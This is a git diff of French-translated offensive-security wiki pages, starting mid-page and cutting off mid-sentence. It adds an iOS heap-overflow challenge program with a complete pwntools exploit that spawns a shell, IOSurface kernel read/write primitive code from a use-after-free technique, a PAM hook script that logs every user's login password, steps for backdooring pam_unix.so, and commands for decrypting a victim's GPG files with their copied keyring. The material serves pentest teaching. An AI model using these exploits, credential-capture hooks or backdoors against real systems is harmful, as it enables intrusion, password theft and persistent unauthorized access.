[https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) if you have issues.) +2) SSH vers l'adresse **10.11.x.x** de la VM: +```bash +ssh root@10.11.1.1 +``` +## **TĂ©lĂ©verser un binaire natif et l'exĂ©cuter** + +### 2.1 **TĂ©lĂ©versement** +- Si Quick Connect vous a donnĂ© un host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- Si vous utilisez un VPN (10.11.x.x) : +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **TĂ©lĂ©verser et installer une app iOS (.ipa)** + +### Chemin A — **Web UI (le plus rapide)** +1) Page Device → onglet Apps → Install App → sĂ©lectionnez votre `.ipa`. +2) Depuis le mĂȘme onglet vous pouvez **lancer/terminer/dĂ©sinstaller**. + +### Chemin B — **ScriptĂ© via Corellium Agent** +1) Utilisez l'API Agent pour **tĂ©lĂ©verser** puis **installer**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C — **Non-jailbroken (proper signing / Sideloadly)** +- Si vous n'avez pas de provisioning profile, utilisez **Sideloadly** pour re-signer avec votre Apple ID, ou connectez-vous dans Xcode. +- Vous pouvez aussi exposer la VM Ă  Xcode en utilisant **USBFlux** (voir §5). + + +- Pour obtenir rapidement des logs/commandes sans SSH, utilisez la **Console** de l'appareil dans l'UI. + +## **Extras** + +- **Port-forwarding** (faire en sorte que la VM semble locale pour d'autres outils): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: utilisez l'adresse **LLDB/GDB stub** affichĂ©e en bas de la page de l'appareil (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: prĂ©sentez la VM Ă  **Xcode/Sideloadly** comme un appareil connectĂ© par cĂąble. + + +## **PiĂšges courants** +- **Proper signing** est requis sur les appareils **non-jailbroken** ; les IPAs non signĂ©s ne se lanceront pas. +- **Quick Connect vs VPN** : Quick Connect est le plus simple ; utilisez **VPN** lorsque vous avez besoin que l'appareil soit sur votre rĂ©seau local (p.ex., proxies/outils locaux). +- **No App Store** sur les appareils Corellium ; apportez vos propres IPAs (re)signĂ©s. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..0bb7edd09 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS : Comment se connecter Ă  Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +Compilez-le avec : +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> Cet exploit dĂ©finit la variable d'environnement `MallocNanoZone=0` pour dĂ©sactiver la NanoZone. Ceci est nĂ©cessaire pour obtenir des allocations adjacentes lors de l'appel Ă  `malloc` avec de petites tailles. Sans cela, diffĂ©rentes allocations via `malloc` seront placĂ©es dans des zones distinctes et ne seront pas adjacentes ; par consĂ©quent l'overflow ne fonctionnera pas comme prĂ©vu. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..8948d26bf --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Memory management in XNU + +L'espace d'adressage mĂ©moire virtuel pour les processus utilisateur sur iOS s'Ă©tend de 0x0 Ă  0x8000000000. Toutefois, ces adresses ne correspondent pas directement Ă  la mĂ©moire physique. Le noyau utilise des tables de pages pour traduire les adresses virtuelles en adresses physiques rĂ©elles. + +#### Levels of Page Tables in iOS + +Les tables de pages sont organisĂ©es de maniĂšre hiĂ©rarchique en trois niveaux : + +1. **L1 Page Table (Level 1)** : +* Chaque entrĂ©e ici reprĂ©sente une large plage de mĂ©moire virtuelle. +* Elle couvre **0x1000000000 bytes** (ou **256 GB**) de mĂ©moire virtuelle. +2. **L2 Page Table (Level 2)** : +* Une entrĂ©e ici reprĂ©sente une rĂ©gion plus petite de mĂ©moire virtuelle, spĂ©cifiquement **0x2000000 bytes** (32 MB). +* Une entrĂ©e L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la rĂ©gion elle-mĂȘme. +3. **L3 Page Table (Level 3)** : +* C'est le niveau le plus fin, oĂč chaque entrĂ©e mappe une page mĂ©moire de **4 KB**. +* Une entrĂ©e L2 peut pointer vers une table L3 si un contrĂŽle plus granulaire est nĂ©cessaire. + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)** : +* Certaines entrĂ©es dans une table de pages mappent directement une plage d'adresses virtuelles Ă  une plage contiguĂ« d'adresses physiques (comme un raccourci). +* **Pointer to Child Page Table** : +* Si un contrĂŽle plus fin est nĂ©cessaire, une entrĂ©e Ă  un niveau (par exemple L1) peut pointer vers une table de pages enfant au niveau suivant (par exemple L2). + +#### Example: Mapping a Virtual Address + +Supposons que vous essayez d'accĂ©der Ă  l'adresse virtuelle **0x1000000000** : + +1. **L1 Table** : +* Le noyau vĂ©rifie l'entrĂ©e correspondante de la table L1 pour cette adresse virtuelle. Si elle contient un **pointer to an L2 page table**, il se rend dans cette table L2. +2. **L2 Table** : +* Le noyau vĂ©rifie la table L2 pour un mapping plus dĂ©taillĂ©. Si cette entrĂ©e pointe vers une **L3 page table**, il poursuit vers elle. +3. **L3 Table** : +* Le noyau consulte l'entrĂ©e finale L3, qui pointe vers l'adresse physique de la page mĂ©moire rĂ©elle. + +#### Example of Address Mapping + +Si vous Ă©crivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors : + +* Les adresses virtuelles de **0x1000000000** Ă  **0x1002000000** sont mappĂ©es aux adresses physiques de **0x800004000** Ă  **0x802004000**. +* C'est un **block mapping** au niveau L2. + +Alternativement, si l'entrĂ©e L2 pointe vers une table L3 : + +* Chaque page de 4 KB dans la plage virtuelle **0x1000000000 -> 0x1002000000** serait mappĂ©e par des entrĂ©es individuelles dans la table L3. + +### Physical use-after-free + +Un **physical use-after-free** (UAF) se produit lorsque : + +1. Un processus **alloue** de la mĂ©moire en lecture/Ă©criture. +2. Les **tables de pages** sont mises Ă  jour pour mapper cette mĂ©moire vers une adresse physique spĂ©cifique accessible par le processus. +3. Le processus **dĂ©salloue** (libĂšre) la mĂ©moire. +4. Cependant, Ă  cause d'un **bogue**, le noyau **oublie de supprimer le mapping** des tables de pages, mĂȘme s'il marque la mĂ©moire physique correspondante comme libre. +5. Le noyau peut alors **rĂ©allouer cette mĂ©moire physique "libĂ©rĂ©e"** Ă  d'autres fins, comme des structures de donnĂ©es du noyau. +6. Puisque le mapping n'a pas Ă©tĂ© supprimĂ©, le processus peut toujours **lire et Ă©crire** dans cette mĂ©moire physique. + +Cela signifie que le processus peut accĂ©der Ă  des pages de la mĂ©moire du noyau, qui peuvent contenir des donnĂ©es sensibles ou des structures, permettant potentiellement Ă  un attaquant de **manipuler la mĂ©moire du noyau**. + +### IOSurface Heap Spray + +Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: + +1. The attacker **creates a large number of IOSurface objects** in kernel memory. +2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. +3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. +4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. + +More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. +> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. +> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. +> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. +> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). +2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. +3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: +* Use one field to **read any 32-bit value** in kernel memory. +* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. + +GĂ©nĂ©rez des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC pour les rechercher ensuite: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Rechercher des objets **`IOSurface`** dans une page physique libĂ©rĂ©e : +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Obtention de lecture/Ă©criture au noyau avec IOSurface + +AprĂšs avoir pris le contrĂŽle d'un objet IOSurface dans la mĂ©moire du noyau (mappĂ© sur une page physique libĂ©rĂ©e accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour effectuer des opĂ©rations **de lecture et d'Ă©criture arbitraires dans le noyau**. + +**Champs clĂ©s dans IOSurface** + +L'objet IOSurface possĂšde deux champs cruciaux : + +1. **Use Count Pointer** : Permet une **lecture 32-bit**. +2. **Indexed Timestamp Pointer** : Permet une **Ă©criture 64-bit**. + +En Ă©crasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mĂ©moire du noyau, ce qui active des capacitĂ©s de lecture/Ă©criture. + +#### Lecture 32-bit du noyau + +Pour effectuer une lecture : + +1. Écrasez le **use count pointer** pour qu'il pointe vers l'adresse cible moins un dĂ©calage de 0x14 octets. +2. Utilisez la mĂ©thode `get_use_count` pour lire la valeur Ă  cette adresse. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### Écriture 64 bits dans le kernel + +Pour effectuer une Ă©criture : + +1. Écraser le **indexed timestamp pointer** pour qu'il pointe vers l'adresse cible. +2. Utiliser la mĂ©thode `set_indexed_timestamp` pour Ă©crire une valeur 64 bits. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### RĂ©capitulatif du dĂ©roulement de l'exploit + +1. **Trigger Physical Use-After-Free** : les pages libĂ©rĂ©es sont disponibles pour rĂ©utilisation. +2. **Spray IOSurface Objects** : Allouer de nombreux objets IOSurface avec une "magic value" unique dans kernel memory. +3. **Identify Accessible IOSurface** : Localiser un IOSurface sur une page libĂ©rĂ©e que vous contrĂŽlez. +4. **Abuse Use-After-Free** : Modifier les pointeurs dans l'objet IOSurface pour permettre des **kernel read/write** arbitraires via les mĂ©thodes IOSurface. + +Avec ces primitives, l'exploit fournit des **32-bit reads** contrĂŽlĂ©s et des **64-bit writes** vers kernel memory. Les Ă©tapes de jailbreak ultĂ©rieures pourraient impliquer des primitives de lecture/Ă©criture plus stables, ce qui peut nĂ©cessiter de contourner des protections supplĂ©mentaires (p. ex., PPL sur les appareils arm64e plus rĂ©cents). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 329043acd..763eb80b8 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,25 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## Interception des mots de passe de connexion avec PAM +## Sniffing des mots de passe de connexion avec PAM -Configurons un module PAM pour enregistrer chaque mot de passe que chaque utilisateur utilise pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez : +Configurons un module PAM pour enregistrer chaque mot de passe utilisĂ© par les utilisateurs lors de la connexion. Si vous ne savez pas ce qu'est PAM, consultez : {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Pour plus de dĂ©tails, consultez le [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci n'est qu'un rĂ©sumĂ© : +**Pour plus de dĂ©tails, consultez l'[article original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ceci n'est qu'un rĂ©sumĂ© : -**Aperçu de la technique :** -Pluggable Authentication Modules (PAM) offrent de la flexibilitĂ© dans la gestion de l'authentification sur les systĂšmes Unix. Ils peuvent renforcer la sĂ©curitĂ© en personnalisant les processus de connexion, mais prĂ©sentent aussi des risques s'ils sont mal utilisĂ©s. Ce rĂ©sumĂ© dĂ©crit une technique pour capturer les identifiants de connexion en utilisant PAM, ainsi que des stratĂ©gies d'attĂ©nuation. +**PrĂ©sentation de la technique :** +Pluggable Authentication Modules (PAM) offrent une flexibilitĂ© dans la gestion de l'authentification sur les systĂšmes Unix. Ils peuvent renforcer la sĂ©curitĂ© en personnalisant les processus de connexion, mais prĂ©sentent aussi des risques s'ils sont mal utilisĂ©s. Ce rĂ©sumĂ© dĂ©crit une technique pour capturer des identifiants de connexion en utilisant PAM, ainsi que des stratĂ©gies d'attĂ©nuation. **Capture des identifiants :** - Un script bash nommĂ© `toomanysecrets.sh` est créé pour enregistrer les tentatives de connexion, capturant la date, le nom d'utilisateur (`$PAM_USER`), le mot de passe (via stdin) et l'IP de l'hĂŽte distant (`$PAM_RHOST`) dans `/var/log/toomanysecrets.log`. -- Le script est rendu exĂ©cutable et intĂ©grĂ© dans la configuration PAM (`common-auth`) en utilisant le module `pam_exec.so` avec des options pour s'exĂ©cuter silencieusement et exposer le jeton d'authentification au script. -- Cette approche montre comment un hĂŽte Linux compromis peut ĂȘtre exploitĂ© pour consigner discrĂštement des identifiants. +- Le script est rendu exĂ©cutable et intĂ©grĂ© Ă  la configuration PAM (`common-auth`) en utilisant le module `pam_exec.so` avec des options pour s'exĂ©cuter silencieusement et exposer le token d'authentification au script. +- Cette approche montre comment un hĂŽte Linux compromis peut ĂȘtre exploitĂ© pour enregistrer discrĂštement des identifiants. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -32,32 +32,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Pour plus de dĂ©tails, consultez le [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci n'est qu'un rĂ©sumĂ© : +**Pour plus de dĂ©tails, consultez l'[article original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ceci n'est qu'un rĂ©sumĂ© : -Le Pluggable Authentication Module (PAM) est un systĂšme utilisĂ© sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **username**, **password**, et **service**. Les fichiers de configuration pour chaque service se trouvent dans le rĂ©pertoire `/etc/pam.d/`, oĂč des shared libraries gĂšrent l'authentification. +Le Pluggable Authentication Module (PAM) est un systĂšme utilisĂ© sous Linux pour l'authentification des utilisateurs. Il fonctionne sur trois concepts principaux : **nom d'utilisateur**, **mot de passe**, et **service**. Les fichiers de configuration pour chaque service se trouvent dans le rĂ©pertoire `/etc/pam.d/`, oĂč des bibliothĂšques partagĂ©es gĂšrent l'authentification. -**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spĂ©cifique, contournant le mot de passe rĂ©el de l'utilisateur. Cela se concentre particuliĂšrement sur la librairie partagĂ©e `pam_unix.so` utilisĂ©e par le fichier `common-auth`, qui est incluse par presque tous les services pour la vĂ©rification du mot de passe. +**Objectif** : Modifier PAM pour permettre l'authentification avec un mot de passe spĂ©cifique, contournant le mot de passe rĂ©el de l'utilisateur. Cela vise en particulier la bibliothĂšque partagĂ©e `pam_unix.so` utilisĂ©e par le fichier `common-auth`, qui est incluse par presque tous les services pour la vĂ©rification des mots de passe. ### Steps for Modifying `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- The line responsible for checking a user's password calls `pam_unix.so`. +- La ligne responsable de vĂ©rifier le mot de passe d'un utilisateur appelle `pam_unix.so`. 2. **Modify Source Code**: -- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. +- Ajoutez une instruction conditionnelle dans le fichier source `pam_unix_auth.c` qui accorde l'accĂšs si un mot de passe prĂ©dĂ©fini est utilisĂ© ; sinon, le processus d'authentification habituel est poursuivi. 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. +- L'accĂšs est accordĂ© sur divers services (login, ssh, sudo, su, screensaver) avec le mot de passe prĂ©dĂ©fini, tandis que les processus d'authentification normaux restent inchangĂ©s. > [!TIP] -> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> Vous pouvez automatiser ce processus avec [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) -## Decrypting GPG loot via homedir relocation +## DĂ©chiffrement de GPG loot via homedir relocation -Si vous trouvez un fichier chiffrĂ© `.gpg` et le dossier `~/.gnupg` d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas dĂ©chiffrer Ă  cause des permissions/verrous du GnuPG homedir, copiez le keyring dans un emplacement inscriptible et utilisez-le comme votre GPG home. +Si vous trouvez un fichier chiffrĂ© `.gpg` et le dossier `~/.gnupg` d’un utilisateur (pubring, private-keys, trustdb) mais que vous ne pouvez pas dĂ©chiffrer Ă  cause des permissions/verrous du homedir GnuPG, copiez le keyring dans un emplacement accessible en Ă©criture et utilisez-le comme GPG home. -Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir). +Erreurs typiques que vous verrez sans cela : "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (parce que GPG ne peut pas lire/Ă©crire le homedir original). -Workflow: +Flux de travail : ```bash # 1) Stage a writable homedir and copy the victim's keyring mkdir -p /dev/shm/fakehome/.gnupg @@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -Si le matĂ©riel de clĂ© secrĂšte est prĂ©sent dans `private-keys-v1.d`, GPG dĂ©verrouillera et dĂ©chiffrera sans demander de passphrase (ou il demandera une passphrase si la clĂ© est protĂ©gĂ©e). +Si le matĂ©riel de la clĂ© secrĂšte est prĂ©sent dans `private-keys-v1.d`, GPG dĂ©verrouillera et dĂ©chiffrera sans demander de passphrase (ou il demandera si la clĂ© est protĂ©gĂ©e). ## RĂ©fĂ©rences diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index d72361ce3..dd63f6102 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,51 +1,51 @@ -# ÉlĂ©vation de privilĂšges Linux +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} ## Informations systĂšme -### Infos OS +### Infos sur l'OS -Commençons par obtenir des informations sur l'OS en cours d'exĂ©cution +Commençons par recueillir des informations sur l'OS en cours d'exĂ©cution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Si vous **avez des droits d'Ă©criture sur n'importe quel dossier dans la variable `PATH`** vous pouvez ĂȘtre en mesure de dĂ©tourner certaines bibliothĂšques ou binaires : +Si vous **avez les droits d'Ă©criture sur n'importe quel dossier dans la variable `PATH`** vous pourriez ĂȘtre capable de dĂ©tourner certaines bibliothĂšques ou binaires: ```bash echo $PATH ``` ### Infos d'environnement -Des informations intĂ©ressantes, des mots de passe ou des clĂ©s API dans les variables d'environnement ? +Informations intĂ©ressantes, mots de passe ou clĂ©s API dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -VĂ©rifiez la version du kernel et s'il existe un exploit pouvant ĂȘtre utilisĂ© pour escalader les privilĂšges +VĂ©rifiez la version du kernel et s'il existe un exploit pouvant ĂȘtre utilisĂ© pour escalate privileges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de noyaux vulnĂ©rables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -D'autres sites oĂč vous pouvez trouver des **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de kernels vulnĂ©rables et quelques **compiled exploits** ici : [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +D'autres sites oĂč vous pouvez trouver des **compiled exploits** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de noyau vulnĂ©rables depuis ce site, vous pouvez faire : +Pour extraire toutes les versions de kernel vulnĂ©rables depuis ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Outils qui 